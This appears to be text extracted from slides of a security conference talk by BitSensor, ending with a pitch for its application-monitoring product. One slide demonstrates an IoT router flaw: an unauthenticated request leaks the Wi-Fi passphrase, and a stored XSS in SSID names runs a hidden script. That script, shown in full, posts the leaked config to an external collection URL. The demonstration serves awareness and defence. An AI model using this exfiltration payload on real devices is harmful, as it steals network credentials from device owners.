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Fast Moving 
Targets

"BitSensor is building a radar system 
for hackers"

http://www.youtube.com/watch?v=27UkZXbYpUY
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IoT with API & AJAX





/get_config



curl \
'http://192.168.1.64/ajax/get_config?type=10' \
-H 'Accept: text/plain, */*; q=0.01' \
-H 'X-Requested-With: XMLHttpRequest'

# Notice the elephant in the room?



curl \
'http://192.168.1.64/ajax/get_config\?type=10' \
-H 'Accept: text/plain, */*; q=0.01' \
-H 'X-Requested-With: XMLHttpRequest'

<wirelessProfile SSID="TELE2-E5340F">
<wirelessSecurity enabled="true">

<Mode passPhrase="9118C27AXX">
WPA2-AES

</Mode>
</wirelessSecurity>

</wirelessProfile>





SOP, Krishna Chaitanya T, Infosys Labs



I want my code here 
<----





I want my code here 
<----

ssid 1 
ssid 2
ssid 3
ssid 4



I have my code here 
<----

ssid 1 
ssid 2
ssid 3
ssid 4
<xss>id

<xss>id





https://bitsensor.io/x

hidden script



var apGet = new XMLHttpRequest()

apGet.onreadystatechange = function() {

   exfil = new XMLHttpRequest()

   exfil.open("post", "http://requestb.in/1f05afw1", true)

   exfil.send(apGet.responseText)

   console.log(apGet.responseText)

}

apGet.open("get", "/ajax/get_config?type=10", true)

apGet.send()



http://www.youtube.com/watch?v=szYNFUmdp6U






A10

Insufficient
Monitoring and Logging

The majority of applications and 
APIs lack the basic ability to detect, 

prevent, and respond to both 
manual and automated attacks. 

Attack protection goes far beyond 
basic input validation and involves
automatically detecting, logging, 
responding, and even blocking 

exploit attempts. 
Application owners also need to be 
able to deploy patches quickly to 

protect against attacks.







-  Web Application Security and Insight

Securing cloud infrastructure is a hot topic.

The challenge is preventing legacy security tooling.

An integrated, open source, stack with dashboard
gives visibility in the infrastructure’s security.





Web Application Security and insight

Please, hack the app!
@EnableBitSensor

Ruben van Vreeland
ruben@bitsensor.io





Load Balancer

sandbox 1.0 application 1.1



sandbox 1.0 application 1.1

Load Balancer



-  Web Application Security and Insight

2. Classify 3. Act1. Monitor

Risk profile

Onprem

Ticket creation

Vulnerability Analysis

!!

!!



-  Web Application Security and Insight

To Operationalize, BitSensor integrates

Alerting Visualisation Blocking



-  Web Application Security and Insight



-  Web Application Security and Insight

Workflow

Attack

BitSensor 
detects !!

Risk profile

Ticket creation
Dev fixes issue

Attack gets blocked



-  Web Application Security and Insight

Slack Teams



-  Web Application Security and Insight

Securing cloud infrastructure is a hot topic.

The challenge is preventing legacy security tooling.

An integrated, open source, stack with dashboard
gives visibility in the infrastructure’s security.



-  Web Application Security and Insight

The complete security stack

AWS CloudTrail / Azure Search / GCP Cloud Audit Logging

OSSEC HIDS OSSEC HIDS OSSEC HIDS

     Application          Application      Application      Application



-  Web Application Security and Insight





GOTO SX



Complexity



Defence in Depth
And you can even configure it with 

annotations



Ubiquitous 
Vulnerability



TDD
gauntlt



Docker
Patching 

Known Vulnerable Components



Blockchain
Same primitives as digests



More crypto


